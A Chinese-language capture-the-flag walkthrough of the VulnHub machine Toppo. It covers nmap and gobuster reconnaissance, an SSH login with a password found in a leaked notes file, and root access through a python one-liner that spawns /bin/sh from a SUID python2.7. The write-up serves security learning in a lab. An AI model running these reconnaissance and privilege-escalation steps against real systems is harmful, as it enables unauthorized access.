vulnhub(7):Toppo(经典的suid滥用提权)
端口
nmap主机发现
nmap -sn 192.168.6.0/24 Nmap scan report for 192.168.6.34 Host is up (0.00020s latency). 34是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.6.34 -p- --min-rate 10000 -oA nmap/scan 扫描开放端口保存到 nmap/scan下 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 48230/tcp open unknown 发现开放3个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.6.34详细端口扫描: -sT:完整tcp连接 -sC:默认脚本扫描 -sV:服务版本探测 -O:系统信息探测 PORT STATE SERVICE VERSION │ 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) │ | ssh-hostkey: │ | 1024 ec61979f4dcb759959d4c1c4d43ed9dc (DSA) │ | 2048 8999c4549a1866f7cd8eabb6aa312ec6 (RSA) │ | 256 60bedd8f1ad7a3f3fe21cc2f11307b0d (ECDSA) │ |_ 256 39d97926603d6ca21e8b1971c0e25e5f (ED25519) │ 80/tcp open http Apache httpd 2.4.10 ((Debian)) │ |_http-server-header: Apache/2.4.10 (Debian) │ |_http-title: Clean Blog - Start Bootstrap Theme │ 111/tcp open rpcbind 2-4 (RPC #100000) │ | rpcinfo: │ | program version port/proto service │ | 100000 2,3,4 111/tcp rpcbind │ | 100000 2,3,4 111/udp rpcbind │ | 100000 3,4 111/tcp6 rpcbind │ | 100000 3,4 111/udp6 rpcbind │ | 100024 1 48230/tcp status │ | 100024 1 49352/udp status │ | 100024 1 52407/udp6 status │ |_ 100024 1 56532/tcp6 status 分析: 22端口开放 80端口http服务 111 rpcbind
立足
80端口
一个博客网站,整个网站除了contact 界面,没有任何交互的地方,因此没有任何漏洞 尝试敏感信息收集
gobuster dir -u http://192.168.100.34/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash /.php/ (Status: 403) [Size: 294] /.html/ (Status: 403) [Size: 295] /img/ (Status: 200) [Size: 1775] /icons/ (Status: 403) [Size: 295] /mail/ (Status: 200) [Size: 948] /admin/ (Status: 200) [Size: 937] /css/ (Status: 200) [Size: 1157] /manual/ (Status: 200) [Size: 626] /js/ (Status: 200) [Size: 2045] /vendor/ (Status: 200) [Size: 1343] /.php/ (Status: 403) [Size: 294] /.html/ (Status: 403) [Size: 295] /server-status/ (Status: 403) [Size: 303] 分析: mail和admin页面最有可能出现敏感信息,先看最敏感的
mail页面
mail页面是个文件目录,下面只有一个php文件: contact_me.php wget http://192.168.100.34/mail/contact_me.php 发现contact_me.php文件没有php代码,只有一行字符串:No arguments Provided!
admin页面
admin页面是个文件目录,下面只有一个txt页面: notes.txt 打开发现这样信息: Note to myself : I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer . 从中我们获取密码12345ted123
获取密码后的思路
获取密码后,首先要想到获取用户名 获取用户名之后要想到要与服务器有交互,但是我们之前说过整个80端口除了contact 界面就没有任何交互,contact是发送邮箱的界面,尝试扫描不存在漏洞,也没有密码的交互,只能排除 所以如果获取到用户名列表和密码列表,唯一的操作只能是ssh爆破,我们现在唯一的问题就是获取一个用户名列表,并与我们收集到的密码匹配
收集用户名
靶机名称:Toppo 常用用户名:admin、root 从密码(12345ted123)中收集到的可能是用户的字符串:ted
尝试登陆ssh
用户名不多,手动尝试即可,发现 用户:ted 密码:12345ted123 可以登录ssh
提权
信息枚举
sudo -l:无此命令 cat /etc/passwd:没有新的信息 cat /etc/crontab:没有计划任务脚本 find / -type f -perm -u=s 2>/dev/null: /sbin/mount.nfs /usr/sbin/exim4 /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/python2.7 /usr/bin/chsh /usr/bin/at /usr/bin/mawk /usr/bin/chfn /usr/bin/procmail /usr/bin/passwd /bin/su /bin/umount /bin/mount *有一个可能是管理员设置的/usr/bin/procmail,还有一个非常敏感的/usr/bin/python2.7 /usr/bin/procmail 运行没有回显,不管他 /usr/bin/python2.7 是最有可能提权的,基本上板上钉钉了
suid滥用提权
运行suid的程序时,这个程序的进程euid是创建者的用户id,且按照euid的权限执行进程代码,这意味着我们如果这个程序能调用/bin/sh,他的权限将会按照euid的身份新起一个拥有euid权限的会话shell 注:但是调用/bin/bash将不会提权,因为/bin/bash在启动后,首先判断euid和ruid是否相同,如果不相同,他会利用权限更低的ruid(如果ruid的权限比euid低),自动进行降权处理 ruid:真实用户ID表示发起该进程的用户。 euid:称为有效用户 ID,它表示系统用来确定进程权限的用户身份。
使用bash,会被自动降权处理 python -c 'import os;os.system("/bin/bash")' bash-4.3$ cd /root /root: Permission denied 使用sh,按照euid进行 python -c 'import os;os.system("/bin/sh")' 直接拿到root的flag: 0wnedlab{p4ssi0n_c0me_with_pract1ce}